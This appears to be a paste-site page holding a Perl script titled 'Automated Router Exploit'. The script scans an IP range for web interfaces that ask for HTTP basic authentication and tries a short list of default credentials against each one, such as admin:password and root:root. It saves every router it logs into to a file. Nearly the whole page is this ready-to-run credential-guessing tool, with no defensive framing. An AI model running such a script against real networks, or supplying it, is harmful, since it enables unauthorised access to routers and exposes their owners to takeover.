MLT icon

Perl - Automated Router Exploit

MLT | PRO | 11/10/13 06:24:33 PM UTC | 0 ⭐ | 612 👁️ | Never ⏰ | []
Perl |

2.45 KB

|

None

|

0 👍

/

0 👎

#!/usr/bin/perl -w
use IO::Socket;
use LWP;
my $browser = LWP::UserAgent->new;
$browser->timeout(1);
my $realm;
my @success;
my $successTotal;
 
if(@ARGV != 2){
  print "Parameters: [Start IP] [End IP]\n";
  exit 1;
}
 
@sip = split(/\./, $ARGV[0]);
@eip = split(/\./, $ARGV[1]);
for($x = 0; $x < 4; ++$x){
  if(($sip[$x] >= 255) || ($eip[$x] >= 255) || ($sip[$x] < 1) || ($eip[$x] < 1)){
    print "[-] Invalid IP address entered - Please use numbers between 1 and 254.\n";
    exit 1;
  }
}
 
 
@creds = (
[ 'admin', 'password' ],
[ 'admin', 'admin' ],
[ 'sysadmin', 'admin' ],
[ 'sysadmin', 'password' ],
[ 'admin', 'changeme' ],
[ 'root', 'root' ],
);
 
sub tryCreds {
  my ($ip,$realm) = @_;
  for($i=0; $i<=$#creds; $i++)
  {
    $browser->credentials(
      $ip.':80',
      $realm,
      $creds[$i][0] => $creds[$i][1]
    );
    $response = $browser->get('http://' . $cip);
    if($response->header('WWW-Authenticate'))
    {
      print "     -  Failed:  " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
    }
    elsif($response->is_success)
    {
      print "     -  SUCCESS: " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
      push (@success, '>>'.$ip.':'.$creds[$i][0] . ":" . $creds[$i][1]."\n");
      $successTotal++;
      last;
    }
    else
    {
      print "     -  Failed:  " . $creds[$i][0] . ":" . $creds[$i][1] . "\n";
    }
  }
}
 
 
print "[+] Scanning ranges " . $ARGV[0] . " to " . $ARGV[1] . "\n\n";
while(1){
  $cip = join('.', @sip);
  $response = $browser->get('http://' . $cip . ':80');
  if($response->header('WWW-Authenticate'))
  {
    $realm = $response->header('WWW-Authenticate');
    $realm =~ /\"(.*?)\"/;
    print "[+] " . $cip . " is asking for login for " . $1 .  "\n";
    tryCreds($cip, $1);
  }
  elsif($response->is_success)
  {
  print "[~] Something at " . $cip . "\n";
  }
else
  {
    print "[-] " . $cip . "\n";  
  }
 
$sip[3] += "1";
  if($sip[3] > "255"){
    $sip[2] += "1";
    $sip[3] = "0";
  }
  if($sip[2] > "255"){
    $sip[1] += "1";
    $sip[2] = "0";
  }
  if($sip[1] > "255"){
    $sip[0] += "1";
    $sip[1] = "0";
  }
  if($ARGV[1] eq $cip){
    print "==========================================\n";
    print @success;
    print '[+] Scan completed! Found a total of ' . $successTotal . " vulnerable routers!\n";
    open(outputFile, ">>vulnerable.txt");
    print outputFile @success;;
    close(outputFile);
    print "File Saved to: vulnerable.txt\n\n";
exit 1;
  }
}
exit;

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎